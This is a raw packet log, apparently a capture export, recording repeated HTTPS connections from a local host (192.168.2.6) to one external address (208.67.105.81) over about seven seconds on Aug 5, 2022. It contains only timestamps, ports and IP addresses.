Aug 5, 2022 12:12:14.563908100 CEST	443	49931	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.564026117 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.565094948 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.565109015 CEST	443	49931	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.573390007 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.573409081 CEST	443	49931	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.618263006 CEST	443	49931	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.618335009 CEST	443	49931	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.619080067 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.643992901 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.644026041 CEST	443	49931	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.644053936 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.644079924 CEST	49931	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.948416948 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:14.948489904 CEST	443	49932	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:14.948582888 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.000241995 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.000320911 CEST	443	49932	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.066088915 CEST	443	49932	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.066257954 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.105698109 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.105724096 CEST	443	49932	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.110865116 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.110908031 CEST	443	49932	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.138519049 CEST	443	49932	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.138607025 CEST	443	49932	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.138618946 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.138672113 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.139189005 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.139214039 CEST	443	49932	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.139228106 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.139277935 CEST	49932	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.269599915 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.269649029 CEST	443	49933	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.269737005 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.270564079 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.270581961 CEST	443	49933	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.331175089 CEST	443	49933	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.331363916 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.335069895 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.335092068 CEST	443	49933	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.339088917 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.339124918 CEST	443	49933	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.385941029 CEST	443	49933	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.386039019 CEST	443	49933	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.386064053 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.386117935 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.542505980 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.542535067 CEST	443	49933	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.542552948 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.542577028 CEST	49933	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.680361032 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.680425882 CEST	443	49934	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.680584908 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.682332039 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.682359934 CEST	443	49934	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.742551088 CEST	443	49934	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.742665052 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.746547937 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.746568918 CEST	443	49934	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.751815081 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.751842976 CEST	443	49934	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.796627045 CEST	443	49934	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.796717882 CEST	443	49934	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.796720028 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.796796083 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.844305038 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.844337940 CEST	443	49934	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:15.844357967 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:15.844397068 CEST	49934	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.533793926 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.533868074 CEST	443	49935	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.533981085 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.535830021 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.535876989 CEST	443	49935	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.595165968 CEST	443	49935	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.595379114 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.615745068 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.615777969 CEST	443	49935	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.620415926 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.620429993 CEST	443	49935	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.650337934 CEST	443	49935	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.650430918 CEST	443	49935	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.650435925 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.650485039 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.653120995 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.653152943 CEST	443	49935	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.653165102 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.653198957 CEST	49935	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.798846960 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.798903942 CEST	443	49936	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.799020052 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.800107002 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.800143003 CEST	443	49936	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.860937119 CEST	443	49936	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.861048937 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.913134098 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.913156986 CEST	443	49936	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.917593002 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.917612076 CEST	443	49936	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.945785046 CEST	443	49936	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.945875883 CEST	443	49936	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.945893049 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.945930958 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.951740026 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.951762915 CEST	443	49936	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:16.951785088 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:16.951832056 CEST	49936	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.235395908 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.235457897 CEST	443	49937	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:17.235554934 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.239305973 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.239357948 CEST	443	49937	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:17.301304102 CEST	443	49937	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:17.301497936 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.312726021 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.312757015 CEST	443	49937	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:17.316765070 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.316790104 CEST	443	49937	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:17.357410908 CEST	443	49937	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:17.357544899 CEST	443	49937	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:17.357795954 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.357848883 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.377876997 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.377911091 CEST	443	49937	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:17.377923012 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:17.377960920 CEST	49937	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.031929970 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.031996965 CEST	443	49938	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:18.032094002 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.033591986 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.033617973 CEST	443	49938	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:18.093772888 CEST	443	49938	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:18.093981981 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.104548931 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.104598045 CEST	443	49938	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:18.108310938 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.108349085 CEST	443	49938	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:18.150069952 CEST	443	49938	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:18.150197983 CEST	443	49938	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:18.150330067 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.150398970 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.938082933 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.938128948 CEST	443	49938	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:18.938144922 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:18.938198090 CEST	49938	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.079267979 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.079329967 CEST	443	49939	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.079441071 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.081083059 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.081105947 CEST	443	49939	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.142951012 CEST	443	49939	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.143188000 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.160432100 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.160459042 CEST	443	49939	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.164027929 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.164053917 CEST	443	49939	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.197732925 CEST	443	49939	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.197891951 CEST	443	49939	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.198049068 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.198091984 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.288207054 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.288240910 CEST	443	49939	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.288250923 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.288291931 CEST	49939	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.416750908 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.416829109 CEST	443	49940	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.416919947 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.417768955 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.417840958 CEST	443	49940	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.476821899 CEST	443	49940	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.476901054 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.478571892 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.478590012 CEST	443	49940	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.482316971 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.482333899 CEST	443	49940	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.531790972 CEST	443	49940	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.531868935 CEST	443	49940	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.531877995 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.532002926 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.535356045 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.535389900 CEST	443	49940	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.535399914 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.535449982 CEST	49940	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.660793066 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.660845995 CEST	443	49941	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.660953999 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.663520098 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.663552999 CEST	443	49941	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.724637985 CEST	443	49941	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.724735022 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.726023912 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.726037025 CEST	443	49941	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.729749918 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.729783058 CEST	443	49941	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.778937101 CEST	443	49941	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.779025078 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.779043913 CEST	443	49941	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.779098034 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.779428005 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.779490948 CEST	49941	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.898262024 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.898303032 CEST	443	49942	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.898376942 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.900549889 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.900576115 CEST	443	49942	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.964214087 CEST	443	49942	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.964322090 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.965071917 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.965090036 CEST	443	49942	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:19.968986034 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:19.969018936 CEST	443	49942	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.019391060 CEST	443	49942	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.019467115 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.019495964 CEST	443	49942	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.019510984 CEST	443	49942	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.019542933 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.019562960 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.020740032 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.020766973 CEST	443	49942	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.020777941 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.020818949 CEST	49942	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.146819115 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.146864891 CEST	443	49943	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.146950960 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.148041010 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.148066044 CEST	443	49943	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.208574057 CEST	443	49943	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.208657980 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.209336042 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.209351063 CEST	443	49943	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.212620974 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.212636948 CEST	443	49943	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.263164997 CEST	443	49943	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.263253927 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.263276100 CEST	443	49943	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.263298035 CEST	443	49943	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.263328075 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.263370037 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.263772011 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.263796091 CEST	443	49943	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.263807058 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.263901949 CEST	49943	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.382081032 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.382122040 CEST	443	49944	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.382220030 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.383277893 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.383296013 CEST	443	49944	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.444474936 CEST	443	49944	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.444597960 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.445077896 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.445089102 CEST	443	49944	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.448638916 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.448658943 CEST	443	49944	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.499597073 CEST	443	49944	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.499718904 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.499735117 CEST	443	49944	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.499768019 CEST	443	49944	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.499784946 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.499813080 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.500444889 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.500458956 CEST	443	49944	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.500477076 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.500507116 CEST	49944	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.619797945 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.619847059 CEST	443	49945	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.619930983 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.620812893 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.620835066 CEST	443	49945	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.682389975 CEST	443	49945	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.682493925 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.682960033 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.682971001 CEST	443	49945	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.686598063 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.686618090 CEST	443	49945	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.738099098 CEST	443	49945	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.738209009 CEST	443	49945	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.738218069 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.738291025 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.738534927 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.738563061 CEST	443	49945	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.738571882 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.738629103 CEST	49945	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.856936932 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.856996059 CEST	443	49946	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.857126951 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.857774973 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.857826948 CEST	443	49946	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.917721987 CEST	443	49946	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.917906046 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.918526888 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.918549061 CEST	443	49946	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.922657967 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.922708988 CEST	443	49946	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.972825050 CEST	443	49946	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.972939014 CEST	443	49946	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.972956896 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.973047018 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.973886967 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.973912001 CEST	443	49946	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:20.973925114 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:20.973977089 CEST	49946	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.092272043 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.092323065 CEST	443	49947	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.092408895 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.093157053 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.093178988 CEST	443	49947	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.154232979 CEST	443	49947	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.154439926 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.161356926 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.161397934 CEST	443	49947	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.166173935 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.166196108 CEST	443	49947	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.209382057 CEST	443	49947	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.209474087 CEST	443	49947	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.209506035 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.209587097 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.209836960 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.209858894 CEST	443	49947	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.209867001 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.210083008 CEST	49947	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.327114105 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.327188015 CEST	443	49948	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.327299118 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.327850103 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.327881098 CEST	443	49948	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.389136076 CEST	443	49948	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.389364958 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.390470028 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.390497923 CEST	443	49948	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.395215034 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.395237923 CEST	443	49948	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.445231915 CEST	443	49948	208.67.105.81	192.168.2.6
